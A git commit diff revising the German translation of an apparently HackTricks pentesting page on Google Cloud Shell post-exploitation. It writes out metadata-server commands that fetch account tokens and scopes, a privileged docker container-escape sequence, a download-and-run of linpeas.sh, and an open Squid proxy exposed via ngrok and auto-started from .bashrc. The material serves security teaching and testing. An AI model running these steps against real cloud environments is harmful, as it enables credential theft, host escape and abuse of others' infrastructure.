Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:48 +00:00
parent d76eb2e9ab
commit d11d24d6e4

View File

@@ -10,40 +10,40 @@ Weitere Informationen zu Cloud Shell:
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Benutzer-Token aus Metadaten abrufen
Hinweis: Die Google Cloud Shell läuft in einem Container; du kannst **easily escape to the host** wie folgt:
Durch einfachen Zugriff auf den Metadata-Server kann man einen Token erhalten, um Zugriff als der aktuell angemeldete Benutzer zu erhalten:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Früher lief die cloud shell in einem Container mit Zugriff auf den docker socket des Hosts. Jetzt hat Google die Architektur geändert und der cloud shell-Container läuft in einem "Docker in a container"-Setup. Selbst wenn es möglich ist, docker aus der cloud shell zu verwenden, kannst du damit nicht über den docker socket auf den Host entkommen.
> Beachte, dass die Datei `docker.sock` früher unter `/google/host/var/run/docker.sock` lag, jetzt aber nach `/run/docker.sock` verschoben wurde.
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Alte container escape Befehle</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
Dies wird von google nicht als Verwundbarkeit betrachtet, aber es gibt Ihnen einen breiteren Einblick in das, was in dieser Umgebung passiert.
Außerdem beachten Sie, dass Sie vom Host aus ein Service-Account-Token finden können:
Außerdem war es in der Vergangenheit möglich, ein Token für ein Service Account zu finden, das von der Cloud Shell VM im metadata server verwendet wurde:
<details>
<summary>Get service account from metadata</summary>
<summary>Altes Service Account aus metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
Mit den folgenden scopes:
<details>
<summary>Service account scopes abrufen</summary>
Mit den folgenden Scopes:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,33 +53,21 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
Metadaten mit LinPEAS auflisten:
<details>
<summary>Metadaten mit LinPEAS auflisten</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Nachdem Sie [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) mit dem Token des Service Account verwendet haben, wurden **keine Berechtigungen festgestellt**...
### Als Proxy verwenden
Wenn Sie Ihre google cloud shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder in die .bashrc-Datei einfügen):
Wenn Sie Ihre google cloud shell Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):
<details>
<summary>Install Squid proxy</summary>
<summary>Squid proxy installieren</summary>
```bash
sudo apt install -y squid
```
</details>
Nur damit Sie wissen: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine **squid.conf**-Datei mit den folgenden Einstellungen:
Zur Info: Squid ist ein HTTP-Proxy-Server. Erstelle eine Datei **squid.conf** mit den folgenden Einstellungen:
<details>
@@ -92,7 +80,7 @@ http_access allow all
```
</details>
Kopiere die Datei **squid.conf** nach **/etc/squid**
Kopiere die **squid.conf**-Datei nach **/etc/squid**
<details>
@@ -102,11 +90,11 @@ sudo cp squid.conf /etc/squid
```
</details>
Starte abschließend den Squid-Service:
Führe abschließend den squid-Dienst aus:
<details>
<summary>Squid-Service starten</summary>
<summary>Squid-Dienst starten</summary>
```bash
sudo service squid start
```
@@ -116,19 +104,19 @@ Verwende ngrok, damit der Proxy von außen erreichbar ist:
<details>
<summary>Proxy mit ngrok freigeben</summary>
<summary>Proxy mit ngrok exponieren</summary>
```bash
./ngrok tcp 3128
```
</details>
Nachdem Sie es ausgeführt haben, kopieren Sie die tcp:// URL. Wenn Sie den Proxy im Browser verwenden möchten, empfiehlt es sich, den tcp://-Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browser-Proxy-Einstellungen einzutragen (squid ist ein HTTP-Proxy-Server).
Nach dem Start kopiere die tcp:// URL. Wenn du den proxy aus einem browser betreiben möchtest, wird empfohlen, den tcp://-Teil und die Portangabe zu entfernen und den Port in das Port-Feld der Proxy-Einstellungen deines Browsers einzutragen (squid is a http proxy server).
Für die Nutzung beim Start sollte die Datei .bashrc die folgenden Zeilen enthalten:
Für eine bessere Nutzung beim Start sollte die .bashrc die folgenden Zeilen enthalten:
<details>
<summary>In .bashrc für automatischen Start einfügen</summary>
<summary>Zu .bashrc für automatischen Start hinzufügen</summary>
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Siehe diese Seite für weitere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.
Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Sieh dir diese Seite für weitere verrückte Ideen an, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.
{{#include ../../../banners/hacktricks-training.md}}